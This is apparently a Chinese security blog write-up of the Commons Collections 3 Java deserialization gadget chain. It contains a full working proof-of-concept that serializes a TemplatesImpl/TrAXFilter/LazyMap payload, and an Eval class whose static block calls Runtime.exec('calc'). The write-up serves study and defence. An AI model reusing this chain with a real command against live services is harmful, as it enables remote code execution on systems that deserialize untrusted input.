# CC3
CC3 就跟前两条链不太一样了,CC1 的利用链是 Map(Proxy).entrySet()
触发 AnnotationInvocationHandler.invoke()
, 而 CC2 链的利用链是通过 InvokerTransformer.transform()
调用 newTransformer
触发 RCE。CC3 是执行静态代码块
CC3 采用的是动态加载类,也就是利用了 defineClass
,我们搜索哪些类有 defineClass
, 找到这个 TemplatesImpl
在 defineTransletClasses
方法中调用了 defineClass
这里有几个判断得注意,首先是 _bytecodes
不能为 null,然后就是 _tfactory
不能为 null,不过 _tfactory
在 readObject 方法里被赋值了,因此不用管,继续跟进看谁调用了 defineTransletClasses
,看 getTransletInstance
, 得绕过第一个 if 判断,所以得反射赋值给 __name
继续跟进看谁调用了 getTransletInstance
,现在基本有一个构造思路了,new 一个 TemplateIml
对象,然后调用 newTransformer 方法,从而去 defineClass
分析一下 yso 的 CC3,可以看到它在 Transformer [] 里调用的是 InstantiateTransformer
,还引入了 TrAXFilter
这个类,我们追踪一下
首先 TrAXFilter
中会调用 newTransformer
再看 InstantiateTransformer
的 transform 方法,获取构造器,再实例化,刚好可以触发 TrAXFilter
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com.Fc0;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void serialize(Object obj) throws IOException { FileOutputStream fos = new FileOutputStream("cc3.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); } public static void deserialize(String filename) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(filename); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); }
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl(); Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "1"); Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("D:\\JavaSec\\CC1\\src\\main\\java\\com\\Fc0\\Eval.class")); byte[][] code = {bytes}; _bytecodes.set(templates, code); Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(templates, new TransformerFactoryImpl()); Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET"); ABSTRACT_TRANSLET.setAccessible(true); ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> decorate = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate); Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler); Object o = constructor.newInstance(Target.class, newMap); serialize(o); deserialize("cc3.bin"); } }
|
Eval.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.Fc0;
import java.io.IOException;
public class Eval { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
public static void main(String[] args) {
} }
|
# 利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() newInstance() TrAXFilter#TrAXFilter() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses newInstance() Runtime.exec()
|
Java 安全之 Commons Collections3 分析 - nice_0e3 - 博客园 (cnblogs.com)